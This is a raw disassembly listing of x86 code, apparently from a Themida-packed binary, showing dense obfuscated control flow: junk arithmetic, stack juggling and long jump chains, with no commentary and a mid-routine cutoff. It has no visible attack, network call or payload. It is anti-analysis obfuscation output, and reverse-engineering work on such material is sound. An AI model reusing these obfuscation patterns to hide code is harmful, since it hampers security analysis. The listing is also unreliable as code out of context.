		mov	esi, [esp+34h+var_34]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+38h+var_3A+2]
		pop	esp
		jmp	loc_555BFC
; ---------------------------------------------------------------------------


loc_55ACB8:				; CODE XREF: sub_559C84+213Dj
		mov	eax, [esp+34h+var_34]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55986B
; ---------------------------------------------------------------------------


loc_55ACC9:				; CODE XREF: sub_559C84-3AFAj
		mov	edi, [esp+44h+var_46+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55852B
; ---------------------------------------------------------------------------


loc_55ACDA:				; CODE XREF: sub_559C84-55FDj
		add	ecx, 4
		push	ecx
		push	[esp+40h+var_3E+2]
		pop	ecx
		pop	[esp+40h+var_42+2]
		pop	esp
		and	ecx, esi
		mov	esi, [esp+38h+var_3A+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+3Ch+var_3E+2]
		jmp	loc_55F710
; ---------------------------------------------------------------------------


loc_55AD00:				; CODE XREF: sub_559C84+4524j
		push	[esp+3Ch+var_3A+2]
		mov	edi, [esp+40h+var_42+2]
		add	esp, 4
		pop	[esp+3Ch+var_3E+2]
		jmp	loc_55D6AD
; ---------------------------------------------------------------------------


loc_55AD12:				; CODE XREF: Themida_:00553DB0j
		mov	esi, esp
		add	esi, 4
		push	6957h
		mov	[esp+3Ch+var_3E+2], edi
		push	37B8h
		mov	[esp+40h+var_42+2], esi
		mov	esi, 2
		jmp	loc_5555D6
; ---------------------------------------------------------------------------


loc_55AD34:				; CODE XREF: sub_559C84-32A5j
		pop	ebx
		jmp	loc_559771
; ---------------------------------------------------------------------------


loc_55AD3A:				; CODE XREF: sub_559C84+2BBEj
		sub	esp, 4
		mov	[esp+52h+var_52], ebx
		jmp	loc_559288
; ---------------------------------------------------------------------------


loc_55AD48:				; CODE XREF: sub_559C84+588Fj
		pop	ecx
		jmp	loc_557B85
; ---------------------------------------------------------------------------


loc_55AD4E:				; CODE XREF: sub_559C84-3EE6j
		mov	edi, 16251FDBh
		push	ebx
		mov	ebx, 1D6759B5h
		sub	[esp+62h+var_5C+2], ebx
		pop	ebx
		jmp	loc_55A739
; ---------------------------------------------------------------------------


loc_55AD63:				; CODE XREF: sub_559C84-66BCj
		push	ebp
		mov	ebp, 45573859h
		add	esi, 6AA640BAh
		add	esi, ebp
		jmp	loc_55F668
; ---------------------------------------------------------------------------


loc_55AD76:				; CODE XREF: sub_559C84+57ACj
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	2EDD6FC8h
		mov	edx, [esp+8+var_8]
		add	esp, 4
		neg	edx
		dec	edx
		jmp	sub_55E34A
; ---------------------------------------------------------------------------


loc_55AD92:				; CODE XREF: sub_559C84-202Bj
		xchg	edx, [esp+3Eh+var_3E]
		pop	esp
		and	eax, edi
		push	[esp+3Ah+var_3A]
		mov	edi, [esp+3Eh+var_3E]
		add	esp, 4
		add	esp, 4
		jmp	loc_55E2E8
; ---------------------------------------------------------------------------


loc_55ADAF:				; CODE XREF: sub_559C84+55E2j
		not	ebp
		sub	ebp, 28B50647h
		add	ebp, 725F7957h
		shr	ebp, 6
		sub	ebp, 951A79CDh
		add	eax, ebp
		jmp	loc_554643
; ---------------------------------------------------------------------------


loc_55ADCD:				; CODE XREF: sub_559C84+2473j
		push	edx
		mov	edx, 26A74E06h
		jmp	loc_559842
; ---------------------------------------------------------------------------


loc_55ADD8:				; CODE XREF: sub_55F569-7486j
		sub	esi, 5D8CA2EDh
		jmp	loc_55E2B9
; ---------------------------------------------------------------------------


loc_55ADE3:				; CODE XREF: sub_559C84-2F41j
		mov	esi, 45D25468h
		add	ebp, esi
		pop	esi
		add	ebp, 272B4C91h
		jmp	loc_55B76C
; ---------------------------------------------------------------------------


loc_55ADF6:				; CODE XREF: sub_559C84+89Ej
		xor	[esp+24h+var_24], eax
		xor	eax, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		mov	eax, [esp+24h+var_24]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 754065E4h
		add	ebp, 8ABF9A20h
		add	edx, 72807FFEh
		jmp	loc_55BE73
; ---------------------------------------------------------------------------


loc_55AE1C:				; CODE XREF: sub_559C84+5748j
		add	edx, edi
		pop	edi
		jmp	loc_557238
; ---------------------------------------------------------------------------


loc_55AE24:				; CODE XREF: sub_559C84-5197j
		push	edx
		mov	edx, 56312D05h
		mov	ebp, edx
		pop	edx
		jmp	loc_55BB2F
; ---------------------------------------------------------------------------


loc_55AE32:				; CODE XREF: sub_559C84-1830j
		sub	bx, dx
		pop	dx
		jmp	loc_558778
; ---------------------------------------------------------------------------


loc_55AE3C:				; CODE XREF: sub_559C84-1272j
		add	eax, edx
		pop	edx
		jmp	loc_55DF77
; ---------------------------------------------------------------------------


loc_55AE44:				; CODE XREF: sub_559C84-591Fj
		shl	cl, 7
		neg	cl
		sub	cl, 8Bh
		add	al, cl
		pop	ecx
		add	dh, al
		pop	eax
		mov	eax, [esp-24h+arg_20]
		add	esp, 4
		xor	al, dh
		jmp	loc_55841D
; ---------------------------------------------------------------------------


loc_55AE62:				; CODE XREF: sub_559C84+441Cj
		sub	ebx, 3CE754B3h
		add	ebx, ecx
		add	ebx, 3CE754B3h
		mov	ecx, [esp-28h+arg_24]
		add	esp, 4
		push	74F0h
		jmp	loc_559B3F
; ---------------------------------------------------------------------------


loc_55AE80:				; CODE XREF: sub_555D07+29FEj
		mov	edi, 2
		add	ebp, 75B8166Bh
		add	ebp, edi
		sub	ebp, 75B8166Bh
		pop	edi
		xor	ebp, [esp-2Ch+arg_28]
		xor	[esp-2Ch+arg_28], ebp
		xor	ebp, [esp-2Ch+arg_28]
		pop	esp
		mov	ax, [esp+0]
		push	3742h
		jmp	loc_555558
; ---------------------------------------------------------------------------


loc_55AEAC:				; CODE XREF: Themida_:0055950Cj
		push	2C7Eh
		mov	[esp-28h+arg_24], ebx
		push	778Eh
		mov	[esp-24h+arg_20], eax
		push	edx
		mov	dh, 0D8h
		push	ebx
		mov	bh, 3Dh
		inc	bh
		sub	bh, 0EFh
		jmp	loc_55452A
; ---------------------------------------------------------------------------


loc_55AECC:				; CODE XREF: sub_559C84-1EF6j
		sub	ebx, 51F455BCh
		add	ebx, 44C87B68h
		pop	edi
		mov	dx, word ptr [esp+28h+var_28]
		jmp	loc_5573C5
; ---------------------------------------------------------------------------


loc_55AEE2:				; CODE XREF: sub_559C84-5DB6j
		push	ebx
		push	eax
		mov	eax, 0D6299C2Fh
		mov	ebx, eax
		jmp	loc_55F096
; ---------------------------------------------------------------------------


loc_55AEF0:				; CODE XREF: sub_559C84+4440j
		add	[esp+0Ch+var_8], 4C332B42h
		pop	eax
		jmp	loc_55B220
; ---------------------------------------------------------------------------


loc_55AEFE:				; CODE XREF: sub_559C84+362Bj
		mov	edx, [esp+8+var_8]
		jmp	loc_55F94A
; ---------------------------------------------------------------------------


loc_55AF06:				; CODE XREF: sub_559C84+34D5j
		push	edx
		mov	edx, 4
		push	edi
		jmp	loc_554F83
; ---------------------------------------------------------------------------


loc_55AF12:				; CODE XREF: Themida_:00554A64j
		add	eax, 4
		jmp	loc_55B37A
; ---------------------------------------------------------------------------


loc_55AF1A:				; CODE XREF: sub_559C84+DF9j
		xor	cl, 20h
		xor	cl, 4Bh
		sub	dl, cl
		pop	ecx
		mov	ecx, [esp+2Ch+var_2C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+34h+var_30]
		jmp	loc_55FB43
; ---------------------------------------------------------------------------


loc_55AF3D:				; CODE XREF: sub_556D58-A0j
		not	edx
		push	ebx
		mov	ebx, 0F37FFC6Fh
		sub	edx, ebx
		jmp	loc_55DE38
; ---------------------------------------------------------------------------


loc_55AF4C:				; CODE XREF: sub_559C84+2CFAj
		pop	edx
		add	esp, 4
		push	188Dh
		mov	[esp+38h+var_3A+2], esi
		mov	esi, 4
		jmp	loc_55DD3D
; ---------------------------------------------------------------------------


loc_55AF65:				; CODE XREF: Themida_:00558496j
		add	esi, 1D78F52Bh
		xor	esi, 3D870597h
		add	esi, 0DFF7DBD7h
		sub	esp, 4
		jmp	loc_557E5D
; ---------------------------------------------------------------------------


loc_55AF82:				; CODE XREF: sub_559C84+326Cj
		push	edx
		jmp	loc_558A0D
; ---------------------------------------------------------------------------


loc_55AF88:				; CODE XREF: sub_559C84-6122j
		push	ecx
		jmp	loc_55435C
; ---------------------------------------------------------------------------


loc_55AF8E:				; CODE XREF: sub_559C84+355Fj
		add	eax, 0C282141h
		push	ebp
		mov	ebp, 796A5813h
		dec	ebp
		sub	ebp, 2E574C67h
		sub	ebp, 382669B1h
		xor	ebp, 50951F35h
		sub	ebp, 0FF3455BCh
		add	eax, 5801188Bh
		sub	eax, 6B882492h
		sub	eax, ebp
		jmp	loc_559395
; ---------------------------------------------------------------------------
		push	4161h
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_559E5C
; ---------------------------------------------------------------------------


loc_55AFDB:				; CODE XREF: sub_559C84+2681j
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+3Eh+var_3E]
		mov	esp, [esp+3Eh+var_3E]
		xchg	esi, [esp+3Eh+var_3E]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55AFFE:				; CODE XREF: sub_559C84-172j
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+4Ah+var_4A]
		xor	[esp+4Ah+var_4A], esi
		xor	esi, [esp+4Ah+var_4A]
		jmp	loc_55D139
; ---------------------------------------------------------------------------


loc_55B00F:				; CODE XREF: Themida_:005547D5j
		xchg	edx, [esp+4Ah+var_4A]
		pop	esp
		sub	esp, 4
		mov	[esp+4Ah+var_4A], edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_55F41A
; ---------------------------------------------------------------------------


loc_55B026:				; CODE XREF: sub_559C84+C56j
		sub	eax, 14EF17DEh
		push	esi
		push	edx
		mov	edx, 2C5E2048h
		mov	esi, edx
		jmp	loc_55BAF3
; ---------------------------------------------------------------------------


loc_55B039:				; CODE XREF: sub_554790-EDCj
		pop	edi
		add	edi, 0B2D79141h
		mov	ecx, edi
		jmp	loc_558F60
; ---------------------------------------------------------------------------


loc_55B047:				; CODE XREF: sub_559C84-3C8Cj
		add	esp, 4
		sub	esp, 2
		mov	word ptr [esp+58h+var_58], ax
		jmp	loc_55B2E0
; ---------------------------------------------------------------------------


loc_55B056:				; CODE XREF: sub_559C84-41CAj
		mov	eax, 73BF03B1h
		add	ebx, eax
		pop	eax
		push	ebp
		jmp	loc_55B390
; ---------------------------------------------------------------------------


loc_55B064:				; CODE XREF: sub_559C84+22B7j
		add	eax, 4
		xchg	eax, [esp+4Ah+var_4A]
		pop	esp
		xor	ebx, 575F6D57h
		jmp	loc_5561A0
; ---------------------------------------------------------------------------


loc_55B076:				; CODE XREF: sub_559C84+1E35j
		mov	[esp+46h+var_46], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp+42h+var_42]
		pop	esp
		sub	esp, 4
		mov	[esp+42h+var_42], ecx
		jmp	loc_559A5C
; ---------------------------------------------------------------------------


loc_55B093:				; CODE XREF: sub_559C84+261Ej
		push	[esp+42h+var_42]
		pop	edi
		jmp	loc_5575F9
; ---------------------------------------------------------------------------


loc_55B09C:				; CODE XREF: sub_559C84-D62j
		push	ax
		push	ebx
		mov	bh, 0CDh
		mov	al, 97h
		xor	al, bh
		jmp	loc_554CAB
; ---------------------------------------------------------------------------


loc_55B0AA:				; CODE XREF: sub_559C84+2E35j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		push	edi
		mov	edi, 0CED8D1C0h
		jmp	loc_559CD5
; ---------------------------------------------------------------------------


loc_55B0D1:				; CODE XREF: sub_559C84+2792j
		add	esp, 4
		push	edx
		push	edi
		jmp	loc_558C4E
; ---------------------------------------------------------------------------


loc_55B0DE:				; CODE XREF: sub_557380+Ej
		pop	ebp
		jmp	loc_554AFF
; ---------------------------------------------------------------------------


loc_55B0E4:				; CODE XREF: sub_559C84+24ADj
		add	esp, 4
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_556150
; ---------------------------------------------------------------------------


loc_55B0F1:				; CODE XREF: sub_559C84+565Cj
		pop	ecx
		jmp	sub_55EB5B
; ---------------------------------------------------------------------------


loc_55B0F7:				; CODE XREF: sub_559C84+2154j
		mov	[esp+0], ebx
		jmp	loc_55B345
; ---------------------------------------------------------------------------


loc_55B0FF:				; CODE XREF: sub_559C84+94j
		pop	ax
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55B10C:				; CODE XREF: sub_559C84+5A53j
		mov	eax, [esp-18h+arg_14]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], eax
		xor	eax, [esp-14h+arg_10]
		mov	esp, [esp-14h+arg_10]
		add	esp, 4
		push	esi
		push	ebp
		push	24EFh
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, 30BC4E98h
		push	4A3Ah
		mov	[esp-8+arg_4], eax
		mov	eax, ecx
		mov	ebp, eax
		pop	eax
		pop	ecx
		mov	esi, 7FE2558Dh
		not	esi
		push	4A1Fh
		mov	[esp-0Ch+arg_8], ebp
		jmp	loc_55FBFC
; ---------------------------------------------------------------------------


loc_55B15F:				; CODE XREF: sub_559C84+2B89j
		or	al, 92h
		neg	al
		inc	al
		and	al, 84h
		jmp	loc_554AF8
; ---------------------------------------------------------------------------


loc_55B16C:				; CODE XREF: Themida_:00554FEEj
		add	esi, edi
		push	edi
		mov	edi, 2C5745A3h
		add	esi, edi
		pop	edi
		pop	edi
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edi
		mov	edi, 2
		jmp	sub_558756
; ---------------------------------------------------------------------------


loc_55B188:				; CODE XREF: Themida_:0055898Cj
		push	edx
		push	ecx
		mov	ch, 0EBh
		jmp	loc_553B9B
; ---------------------------------------------------------------------------


loc_55B191:				; CODE XREF: sub_559C84-13FFj
		xchg	ebp, [esp+4Ah+var_4A]
		jmp	loc_55B686
; ---------------------------------------------------------------------------


loc_55B199:				; CODE XREF: sub_559C84-3CCEj
		xor	edx, 3F3F0ED5h
		xor	edx, 77204C81h
		sub	edx, 0EB2BB672h
		xor	eax, edx
		pop	edx
		jmp	loc_55BD1B
; ---------------------------------------------------------------------------


loc_55B1B3:				; CODE XREF: sub_559C84+1DE2j
		shr	cl, 1
		neg	cl
		xor	cl, 9
		sub	al, cl
		pop	ecx
		push	edx
		mov	dl, 0CFh
		add	al, dl
		pop	edx
		sub	al, bl
		sub	al, 0CFh
		jmp	loc_553AFE
; ---------------------------------------------------------------------------


loc_55B1CC:				; CODE XREF: sub_559C84+2292j
		dec	ecx
		jmp	loc_55468C
; ---------------------------------------------------------------------------


loc_55B1D2:				; CODE XREF: sub_559C84-4183j
		mov	ebp, eax
		pop	eax
		dec	ebp
		add	ebp, 322B153Fh
		add	ebp, 1D629E97h
		mov	ebx, ebp
		jmp	loc_55DCB8
; ---------------------------------------------------------------------------


loc_55B1E9:				; CODE XREF: sub_55DE4E-4ECBj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+50h+var_52+2]
		pop	esp
		add	edx, 3B3676E3h
		push	ecx
		mov	ecx, 4A5908CFh
		xor	edx, ecx
		jmp	loc_553C9D
; ---------------------------------------------------------------------------


loc_55B209:				; CODE XREF: sub_559C84-3179j
		sub	esi, 4
		jmp	loc_558A5D
; ---------------------------------------------------------------------------


loc_55B214:				; CODE XREF: sub_559C84-1A36j
		add	ebp, 7DB82F96h
		pop	ecx
		jmp	loc_55F198
; ---------------------------------------------------------------------------


loc_55B220:				; CODE XREF: sub_559C84+1275j
		push	esi
		jmp	loc_55726D
; ---------------------------------------------------------------------------


loc_55B226:				; CODE XREF: sub_559C84+22D8j
		add	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_5555BB
; ---------------------------------------------------------------------------


loc_55B22F:				; CODE XREF: sub_559C84+2C4Cj
		pop	ebp
		jmp	loc_555824
; ---------------------------------------------------------------------------


loc_55B235:				; CODE XREF: sub_559C84+5DE1j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		pop	ebp
		add	ebp, 4
		push	5B0Ch
		mov	[esp+8+var_8], ecx
		jmp	loc_558235
; ---------------------------------------------------------------------------


loc_55B263:				; CODE XREF: sub_559C84+371Ej
		pop	edi
		add	edi, eax
		mov	eax, [esp+4+var_4]
		add	esp, 4
		sub	edi, 0F7CB5B88h
		xor	eax, edi
		mov	edi, [esp+0]
		add	esp, 4
		push	edi
		push	edx
		mov	edx, 72BB3457h
		xor	edx, 25356B88h
		neg	edx
		not	edx
		jmp	loc_5548FD
; ---------------------------------------------------------------------------


loc_55B296:				; CODE XREF: sub_559C84-5F70j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		pop	edi
		push	edi
		push	48083E9Ch
		pop	edi
		jmp	loc_558146
; ---------------------------------------------------------------------------


loc_55B2BC:				; CODE XREF: sub_559C84+16A3j
		add	eax, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		add	eax, 4
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		jmp	loc_55601E
; ---------------------------------------------------------------------------


loc_55B2D2:				; CODE XREF: Themida_:00559730j
		mov	edx, esi
		pop	esi
		add	esi, 0B6613E3h
		jmp	loc_556332
; ---------------------------------------------------------------------------


loc_55B2E0:				; CODE XREF: sub_559C84+13CDj
		push	6496h
		jmp	loc_55BBA4
; ---------------------------------------------------------------------------


loc_55B2EA:				; CODE XREF: Themida_:00556733j
		add	eax, 4
		xchg	eax, [esp+5Ch+var_5C]
		pop	esp
		push	1C71h
		jmp	loc_55861E
; ---------------------------------------------------------------------------


loc_55B2FD:				; CODE XREF: Themida_:005541AAj
		shr	edx, 2
		jmp	loc_55FB99
; ---------------------------------------------------------------------------


loc_55B305:				; CODE XREF: sub_559C84-42BBj
		mov	ecx, [esp-14h+arg_10]
		add	esp, 4
		jmp	sub_557920
; ---------------------------------------------------------------------------


loc_55B310:				; CODE XREF: sub_559C84-4CA6j
		pop	eax
		pop	esi
		jmp	loc_55896F
; ---------------------------------------------------------------------------


loc_55B317:				; CODE XREF: Themida_:00553E9Cj
		pop	ebx
		xor	ebx, 4C1B07BCh
		mov	edi, ebx
		pop	ebx
		sub	edi, 70C546D6h
		jmp	loc_55B2BC
; ---------------------------------------------------------------------------


loc_55B32C:				; CODE XREF: sub_559C84-1BB5j
		mov	[edi+38h], bh
		push	[esp+42h+var_42]
		pop	ebx
		add	esp, 4
		pop	ecx
		mov	ebx, [esp+3Ah+var_3A]
		add	esp, 4
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55B345:				; CODE XREF: sub_559C84+1476j
		mov	ebx, 99F8626h
		push	esi
		push	3F6Ah
		mov	[esp+8+var_8], edx
		jmp	loc_55C3BB
; ---------------------------------------------------------------------------


loc_55B358:				; CODE XREF: sub_559C84-4454j
		shl	edi, 7
		add	edi, 0C00884h
		add	ebp, edi
		push	[esp+34h+var_34]
		push	[esp+38h+var_3A+2]
		mov	edi, [esp+3Ch+var_3E+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_55BE0C
; ---------------------------------------------------------------------------


loc_55B37A:				; CODE XREF: sub_559C84+1291j
		xchg	eax, [esp+10h+var_10]
		jmp	loc_557A56
; ---------------------------------------------------------------------------


loc_55B382:				; CODE XREF: sub_559C84+5E65j
		shr	ebx, 3
		sub	ebx, 69E004F4h
		jmp	loc_55C887
; ---------------------------------------------------------------------------


loc_55B390:				; CODE XREF: sub_559C84+13DBj
		mov	ebp, 2EC73505h
		shl	ebp, 4
		jmp	loc_554124
; ---------------------------------------------------------------------------


loc_55B39D:				; CODE XREF: sub_559C84-40A6j
		sub	esi, 8E85CB91h
		sub	edx, 5CDF1629h
		jmp	loc_55DA96
; ---------------------------------------------------------------------------


loc_55B3AE:				; CODE XREF: sub_559A2E-1460j
		sub	esp, 4
		mov	[esp+48h+var_4A+2], ebx
		mov	bl, 63h
		jmp	loc_557803
; ---------------------------------------------------------------------------


loc_55B3BE:				; CODE XREF: sub_559C84+2789j
		mov	esp, [esp+48h+var_4A+2]
		mov	word ptr [esp+48h+var_4A+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55F49E
; ---------------------------------------------------------------------------


loc_55B3D1:				; CODE XREF: sub_559C84+500Dj
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55B3D6:				; CODE XREF: sub_559C84+5319j
		add	edx, 4
		sub	esp, 4
		mov	[esp+52h+var_52], eax
		mov	eax, 2
		jmp	loc_55F00E
; ---------------------------------------------------------------------------


loc_55B3EF:				; CODE XREF: sub_555835+23j
		xor	ebx, 2EFF677Fh
		add	ecx, ebx
		pop	ebx
		jmp	loc_55652D
; ---------------------------------------------------------------------------


loc_55B3FD:				; CODE XREF: sub_559C84-3DA5j
		sub	edi, 7462911h
		pop	eax
		sub	edi, 4
		xchg	edi, [esp+46h+var_46]
		jmp	loc_557C6A
; ---------------------------------------------------------------------------


loc_55B412:				; CODE XREF: sub_559C84+19Cj
		mov	esp, [esp+46h+var_46]
		jmp	loc_55801C
; ---------------------------------------------------------------------------


loc_55B41A:				; CODE XREF: sub_559C84+99Aj
		mov	[esp+58h+var_58], edi
		push	92595052h
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		add	ebp, 5E8548B1h
		add	ebp, edi
		jmp	loc_55C3FD
; ---------------------------------------------------------------------------


loc_55B438:				; CODE XREF: sub_559C84+5A26j
		mov	edx, 31FF606Ch
		xor	edx, esi
		mov	esi, [esp+58h+var_58]
		jmp	loc_55883A
; ---------------------------------------------------------------------------


loc_55B447:				; CODE XREF: sub_559C84+4189j
		mov	edx, [esp+58h+var_58]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55876D
; ---------------------------------------------------------------------------


loc_55B458:				; CODE XREF: Themida_:0055EA19j
		mov	bh, 51h
		push	ecx
		mov	ch, 63h
		jmp	loc_55E79E
; ---------------------------------------------------------------------------


loc_55B462:				; CODE XREF: sub_559C84+830j
		push	esi
		push	7FBAh
		mov	[esp+40h+var_42+2], ecx
		mov	ecx, 12A66BF3h
		mov	esi, 3BBCAB46h
		sub	esi, 1EB37163h
		sub	esi, 0C391E09h
		sub	esi, ecx
		add	esi, 0C391E09h
		add	esi, 1EB37163h
		pop	ecx
		push	6727h
		mov	[esp+40h+var_42+2], edi
		mov	edi, 74BA42B9h
		push	esi
		push	0B45BFCA0h
		mov	esi, [esp+48h+var_4A+2]
		add	esp, 4
		jmp	loc_556B70
; ---------------------------------------------------------------------------


loc_55B4B1:				; CODE XREF: sub_559C84+5204j
		sub	esp, 4
		mov	[esp+48h+var_4A+2], edi
		jmp	loc_5564A1
; ---------------------------------------------------------------------------


loc_55B4BC:				; CODE XREF: sub_559C84+31Ej
		sub	bl, cl
		pop	cx
		xor	ch, bl
		pop	ebx
		add	ch, 9Eh
		sub	ch, 0D1h
		add	al, 8Dh
		add	al, 59h
		sub	al, ch
		jmp	loc_5591D9
; ---------------------------------------------------------------------------


loc_55B4D4:				; CODE XREF: sub_559C84+5ABDj
		mov	ebx, [esp+48h+var_4A+2]
		add	esp, 4
		sub	al, bl
		push	ecx
		mov	cl, 6Ch
		sub	cl, 7Ah
		sub	al, cl
		pop	ecx
		jmp	loc_55A3F9
; ---------------------------------------------------------------------------


loc_55B4EA:				; CODE XREF: sub_559C84+2072j
		push	edx
		push	299Ah
		jmp	loc_5588FA
; ---------------------------------------------------------------------------


loc_55B4F5:				; CODE XREF: sub_559C84+5BAj
		add	edi, 4
		push	edi
		push	[esp-4+arg_4]
		pop	edi
		pop	[esp-4+arg_0]
		pop	esp
		add	esp, 4
		add	[esp-10h+arg_C], eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_55B511:				; CODE XREF: sub_559C84-3348j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		sub	esp, 4
		mov	[esp-1Ch+arg_18], esi
		push	[esp-1Ch+arg_1C]
		pop	esi
		pop	[esp-1Ch+arg_18]
		mov	esp, [esp-20h+arg_1C]
		mov	word ptr [esp-20h+arg_1C], bx
		push	edx
		mov	dl, 71h
		shl	dl, 7
		not	dl
		add	dl, 0BEh
		jmp	loc_556E95
; ---------------------------------------------------------------------------


loc_55B545:				; CODE XREF: sub_559C84-4922j
		mov	bl, dh
		pop	edx
		jmp	loc_55B9FC
; ---------------------------------------------------------------------------


loc_55B54D:				; CODE XREF: sub_558B94+9j
		add	bx, 5762h
		inc	bx
		xor	bx, 3DF1h
		add	bx, 3850h
		jmp	$+5
		push	si
		jmp	loc_55EB13
; ---------------------------------------------------------------------------


loc_55B56A:				; CODE XREF: sub_559C84+3D7Aj
		mov	dl, ch
		jmp	loc_554522
; ---------------------------------------------------------------------------


loc_55B571:				; CODE XREF: sub_559C84+3BB2j
		push	[esp+50h+var_52+2]
		pop	ecx
		jmp	loc_554415
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+50h+var_52+2]
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, esp
		push	ebp
		push	ebx
		push	66571D4Bh
		pop	ebx
		mov	ebp, 0FB1435AAh
		sub	ebp, 75501156h
		add	ebp, ebx
		add	ebp, 75501156h
		pop	ebx
		add	ebp, 4AF30440h
		shr	ebp, 1
		shl	ebp, 6
		and	ebp, 348D4600h
		xor	ebp, 884604h
		add	edx, ebp
		jmp	loc_5540E3
; ---------------------------------------------------------------------------


loc_55B5C3:				; CODE XREF: sub_559C84+52D1j
		push	ecx
		sub	esp, 4
		jmp	loc_55ED72
; ---------------------------------------------------------------------------


loc_55B5CF:				; CODE XREF: sub_5577DF+7ACBj
		mov	ecx, esi
		pop	esi
		mov	edi, [esp+5Ch+var_5C]
		add	esp, 4
		add	eax, 20720375h
		add	eax, ecx
		sub	eax, 20720375h
		jmp	loc_555537
; ---------------------------------------------------------------------------


loc_55B5E9:				; CODE XREF: sub_559C84-3F34j
		mov	[esp+5Ah+var_5C+2], ebp
		jmp	loc_553F0C
; ---------------------------------------------------------------------------


loc_55B5F1:				; CODE XREF: sub_559C84-EBDj
		xor	cl, ah
		pop	eax
		xor	al, cl
		pop	ecx
		jmp	loc_55A63D
; ---------------------------------------------------------------------------


loc_55B5FC:				; CODE XREF: sub_558D95+5D44j
		xchg	ecx, [esp+42h+var_42]
		jmp	loc_55454B
; ---------------------------------------------------------------------------


loc_55B604:				; CODE XREF: sub_55702F-1644j
		add	ebp, 55F83058h
		add	ebp, esi
		sub	ebp, 55F83058h
		push	[esp+42h+var_42]
		pop	esi
		jmp	loc_55D15E
; ---------------------------------------------------------------------------


loc_55B61B:				; CODE XREF: sub_559C84-5CCCj
		sub	esp, 4
		mov	[esp+6+var_8+2], edx
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebx
		jmp	loc_55DC5E
; ---------------------------------------------------------------------------


loc_55B62F:				; CODE XREF: sub_559C84+30B6j
		mov	ah, 6Eh
		dec	ah
		shr	ah, 6
		neg	ah
		add	ah, 3Fh
		xor	dl, ah
		jmp	loc_557669
; ---------------------------------------------------------------------------


loc_55B642:				; CODE XREF: sub_559C84-19D1j
		push	63E1h
		mov	[esp+56h+var_58+2], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+56h+var_58+2]
		pop	esp
		mov	[esp+52h+var_52], edx
		mov	edx, 8522C605h
		jmp	loc_55BDF1
; ---------------------------------------------------------------------------


loc_55B666:				; CODE XREF: sub_559C84+373Fj
		shr	edi, 7
		add	edi, 776B7ABCh
		xor	esi, edi
		pop	edi
		sub	esi, 4EE9BF6h
		push	esi
		add	[esp+52h+var_52], 179700F5h
		pop	edx
		jmp	loc_559171
; ---------------------------------------------------------------------------


loc_55B686:				; CODE XREF: sub_559C84+1510j
		mov	esp, [esp+4Ah+var_4A]
		mov	[esp+4Ah+var_4A], edx
		push	eax
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_55AC9B
; ---------------------------------------------------------------------------


loc_55B69B:				; CODE XREF: sub_559C84+3479j
		add	ebp, edx
		pop	edx
		push	edi
		mov	edi, 2
		add	ebp, edi
		push	[esp+56h+var_58+2]
		pop	edi
		push	ebp
		mov	ebp, esp
		jmp	loc_55A175
; ---------------------------------------------------------------------------


loc_55B6B2:				; CODE XREF: sub_554572+A68Bj
		dec	edx
		sub	edx, 4015B633h
		sub	ecx, edx
		pop	edx
		sub	esi, ecx
		mov	ecx, [esp+56h+var_58+2]
		jmp	loc_55A567
; ---------------------------------------------------------------------------


loc_55B6C6:				; CODE XREF: sub_559C84+3DE6j
		dec	ebp
		jmp	loc_557F12
; ---------------------------------------------------------------------------


loc_55B6CC:				; CODE XREF: sub_557B99-3A59j
		mov	[ebx], dl
		pop	edx
